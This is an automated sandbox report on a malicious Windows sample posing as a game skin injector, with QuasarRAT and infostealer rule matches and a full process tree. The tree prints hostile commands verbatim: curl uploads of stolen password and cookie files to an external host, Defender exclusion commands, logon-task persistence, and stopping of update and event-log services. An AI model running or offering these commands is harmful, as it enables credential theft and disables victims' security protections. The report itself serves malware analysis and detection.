Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, type: DROPPED	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, type: DROPPED	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer

Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EenableDebugPrivilege
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_83a95e6ffd932b6493172c1d0e526078_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_f2c1f05324f80ef898c9a1557be0c029_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_5343d342ff5e743b467ca9550a352947_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_3adb4bbc1c89bae8452c5abd7b199f8d_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_4a2b86cbe3c5bf5515bc6633790cb5db_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_dfc66024f68cef0ebc12ad94c7e1f37f_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_f6203c408c7910a8196988b25a7e1a23_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_90bcf8512485dd9306cc6f9e833549bc_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_8bf4a4c1b173267fa4b3ef343467e2e2_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_6b54a8354cb8cc0e1d85e03d3be9acbe_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_801b059cc4aad6950f5b123da62028ef_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_835fe93357e2dac1ef5c731de35e7902_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002Einject_002E_003Clambda_e274e261a74e90d6204ae091a54483f3_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_115a2844d1880f380d53316ce14cd047_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_ec16083f9f2aa2377f10f3d51757a2e0_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_a69edffc30e48afed0c4b0f3ae283945_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_f94027bf76a41c823a31d7b803b2ab4a_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EfindProcesses
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_60b8550f1d561a6fe8edf74019e354a2_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002Einject_002E_003Clambda_b33217fc24348bc4f88a943bf9dc72da_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002Erun
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_f1b10b54d5ef3f93905dbd3914aab888_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_b17052d45c2fc159f4c1e86b590105a8_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_ec6b0d2229ac615d6f54f5d4ee89f2f4_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_6552edd2449aad7aace58e71f875edf4_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002Erun_002E_003Clambda_dab2b30045bee86ed74d755ee5dfa3aa_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_3a393025bcbaa569d440d48c5e2f3362_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_935134d2c7c9c7e4ee3af3789aa82339_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_4681559654217e9c27d6ac3f93b6a135_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_2ee56e6c127e2ac702c1774c68403381_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_0b358c51cf51a986f6c23c864f3c9936_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EenableDebugPrivilege_002E_003Clambda_6fafa3d4e89ab95923baf3d01c1d8f73_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EisInjected_002E_003Clambda_6aad90a07127fed5b4ed9b036ce9d52a_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_6c335007f7752b993066088ec57d1b39_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_f4481568bb54f16557446af9ba751b4c_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_7ec018b0fb548186588fbb741e8030b3_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_1f00c258d130f4cc4d99dc235cd0f6de_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EisInjected
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_3ebfef6d7a184242c3ed590e4cf9b787_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002Erun_002E_003Clambda_8aa86bb98be2e1ba8666e1a0bc252906_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002Einject_002E_003Clambda_b3f05540901eb44a41ddddb50537bb0d_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_12beb764d7e6599c403129176ba53517_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_c862b76fc48077acdda132d8218a0ec7_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_c935121132bead4e64c15c9ab7246ad8_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002Einject
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002Einject_002E_003Clambda_267d13a649f3a55c22029e785741f055_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_54a1bafc4ff3cd548b294641157f0094_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002Einject_002E_003Clambda_2147b951d3fa7da0650370d89a2e3729_003E_002E_0028_0029
Source: R3nzSkin_Injector.exe.0.dr, -Module-.cs	Suspicious method names: ._003CModule_003E.Injector_002EautoUpdate_002E_003Clambda_19aed2821d54fccc3f40dc29077162c4_003E_002E_0028_0029

Source: classification engine

Classification label: mal100.troj.adwa.spyw.evad.winEXE@103/171@9/9

Source: C:\Users\user\AppData\Roaming\SearchServices.exe

Code function: 5_2_00007FF7287E8770 GetLastError,FormatMessageW,WideCharToMultiByte,

5_2_00007FF7287E8770

Source: C:\Windows\System32\dialer.exe

Code function: 42_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,FindResourceA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,

42_2_000000014000226C

Source: C:\Windows\System32\dialer.exe

Code function: 42_2_00000001400019C4 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

42_2_00000001400019C4

Source: C:\Windows\System32\dialer.exe

42_2_000000014000226C

Source: C:\Users\user\Desktop\w85VkFOxiD.exe

File created: C:\Users\user\AppData\Roaming\Update.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7896:120:WilError_03
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\afa58199-2aae-4e08-8ef4-8e4ef39bc0aa
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7524:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6456:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7388:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7592:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3872:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7692:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5572:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7352:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7776:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2488:120:WilError_03

Source: C:\Users\user\Desktop\w85VkFOxiD.exe

File created: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe

Jump to behavior

Source: w85VkFOxiD.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\w85VkFOxiD.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\w85VkFOxiD.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: SearchServices.exe

Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);

Source: w85VkFOxiD.exe	ReversingLabs: Detection: 68%
Source: w85VkFOxiD.exe	Virustotal: Detection: 58%

Source: C:\Users\user\Desktop\w85VkFOxiD.exe

Evasive API call chain: __getmainargs,DecisionNodes,exit

graph_0-82

Source: unknown	Process created: C:\Users\user\Desktop\w85VkFOxiD.exe "C:\Users\user\Desktop\w85VkFOxiD.exe"
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAawBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAcgB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdgBwACMAPgA="
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe "C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe"
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: C:\Users\user\AppData\Roaming\Update.exe "C:\Users\user\AppData\Roaming\Update.exe"
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: C:\Users\user\AppData\Roaming\SearchServices.exe "C:\Users\user\AppData\Roaming\SearchServices.exe"
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: C:\Users\user\AppData\Local\SecurityHealthServices.exe "C:\Users\user\AppData\Local\SecurityHealthServices.exe"
Source: C:\Users\user\AppData\Roaming\Update.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe" /rl HIGHEST /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Update.exe	Process created: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe"
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe" /rl HIGHEST /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: C:\Users\user\AppData\Roaming\SearchServices.exe "C:\Users\user\AppData\Roaming\SearchServices.exe"
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "KPAADCYR"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "KPAADCYR" binpath= "C:\ProgramData\xskudridktfu\vmarkghgnurz.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "KPAADCYR"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\xskudridktfu\vmarkghgnurz.exe C:\ProgramData\xskudridktfu\vmarkghgnurz.exe
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\dialer.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\dialer.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\dialer.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\dialer.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\dialer.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\dialer.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\dialer.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAawBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAcgB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdgBwACMAPgA="	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe "C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe"	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: C:\Users\user\AppData\Roaming\Update.exe "C:\Users\user\AppData\Roaming\Update.exe"	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: C:\Users\user\AppData\Roaming\SearchServices.exe "C:\Users\user\AppData\Roaming\SearchServices.exe"	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: C:\Users\user\AppData\Local\SecurityHealthServices.exe "C:\Users\user\AppData\Local\SecurityHealthServices.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe" /rl HIGHEST /f	Jump to behavior
